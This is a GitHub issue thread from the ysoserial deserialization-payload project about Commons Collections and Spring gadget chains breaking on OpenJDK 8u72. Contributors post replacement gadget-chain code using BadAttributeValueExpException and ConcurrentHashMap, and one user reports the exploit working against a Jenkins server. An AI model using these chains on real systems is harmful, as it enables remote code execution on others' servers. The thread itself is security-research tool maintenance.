IncompleteAnnotationException when testing with OpenJDK 1.8.0_72 #17

Closed
jasinner opened this Issue Mar 4, 2016 · 12 comments

Projects

None yet

4 participants

@jasinner
Contributor
jasinner commented Mar 4, 2016

I'm getting the following stack trace when running the test cases with OpenJDK 1.8.0_72:

java.lang.Override missing element getType java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element getType at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:81) at org.springframework.core.$Proxy13.getType(Unknown Source) at org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(SerializableTypeWrapper.java:403) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371) at ysoserial.Deserializer.deserialize(Deserializer.java:27)

@jasinner
Contributor
jasinner commented Mar 4, 2016

Actually the same thing is happening with Oracle JDK 1.8.0_73.
Was AnnotationInvocationHandler changed in the JDK? If so, when?
It would be good to adjust AnnotationInvocationHandler used in the following payloads to work with the latest versions

  • CommonsCollections1
  • CommonsCollections3
  • Spring1
@frohoff frohoff added the bug label Mar 4, 2016
@frohoff
Owner
frohoff commented Mar 4, 2016

I'll try to reproduce this when I have time. They may have done further gadget hardening that breaks these.

@frohoff
Owner
frohoff commented Mar 4, 2016

It does look like there were more significant changes made to AnnotationInvocationHandler as part of 8u72 in 12/2015.

http://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/diff/8e3338e7c7ea/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

There's a good chance this was hardening against these sorts of attacks and it will probably require a more significant time investment to fix.

@matthiaskaiser
Contributor

For the Commons Collection this should work:

    Transformer transformerChain = new ChainedTransformer(transformers);

    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(outerMap, "foo");

    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);
    valfield.set(val, entry);


    String out = "/tmp/cc.ser";
    ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream(out));
    stream.writeObject(val);
    stream.flush();

    ObjectInputStream in = new ObjectInputStream(new FileInputStream(out));
    in.readObject();
@jasinner
Contributor

Seems to work for me. Although the Unit test doesn't pass for some reason. Submitted PR anyway:
#26

@frohoff
Owner
frohoff commented Mar 11, 2016

Looks like it does indeed work and it appears that the test failure is caused by a check for a null SecurityManager in BadAttributeValueExpException.readObject(ObjectInputStream) that fails due to the use of a SecurityManager to detect Runtime.exec() in the test scaffolding:

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null  // <----------------------------- HERE
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

The observer effect strikes again.

Looks like we'll need to figure out a more robust way of detecting successful execution while testing this stuff and I'm definitely open to ideas.

@mudongliang

I hava changed the environment to openjdk 1.7.0, but the error also occurs.

java version "1.7.0_91"
OpenJDK Runtime Environment (IcedTea 2.6.3) (7u91-2.6.3-1)
OpenJDK 64-Bit Server VM (build 24.91-b01, mixed mode)
@mudongliang

@jasinner ask a stupid question, if you can't generate the jar package by mvn package(due to ExecCheckingSecurityManager$ExecException, the junit passes fail), how do you test your PR?
When I replay this experiment about jenkins, I get the same error in the server log.
How can I get this exploit pass? Wait the fix for that failure, or others? Can you give me some tips?
My experiment environment is linux, openjdk1.8.0_72, jenkins 1.637.
Thanks very much.

@frohoff
Owner
frohoff commented Mar 15, 2016

add -DskipTests to your mvn clean package if you're trying to build the jar regardless of the unit test results.

master branch is not fully stable at the moment and we are working on getting things cleaned up.

@mudongliang

👍 It works now! And I can see the exist of /tmp/pwned. Great job!

@frohoff
Owner
frohoff commented Mar 23, 2016

Closing this for now since this is a limitation in the gadget chain(s) outside our control that should be helped by things like #10 and #30.

@frohoff frohoff closed this Mar 23, 2016
@matthiaskaiser
Contributor

Using a ConcurrentHashMap might be the saver solution ...

        final Transformer transformerChain = new ChainedTransformer(
                transformers);
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        ConcurrentHashMap map = new ConcurrentHashMap(1);
        map.put("dummy1", "dummy1");
        Field f = ConcurrentHashMap.class.getDeclaredField("table");
        f.setAccessible(true);
        Object[] array = (Object[]) f.get(map);

        Object node = array[1];
        Field keyField = node.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        keyField.set(node, entry);

        String out = "/tmp/chm.ser";
        ObjectOutputStream stream = new ObjectOutputStream(
                new FileOutputStream(out));
        stream.writeObject(map);
        stream.flush();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream(out));
        in.readObject();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment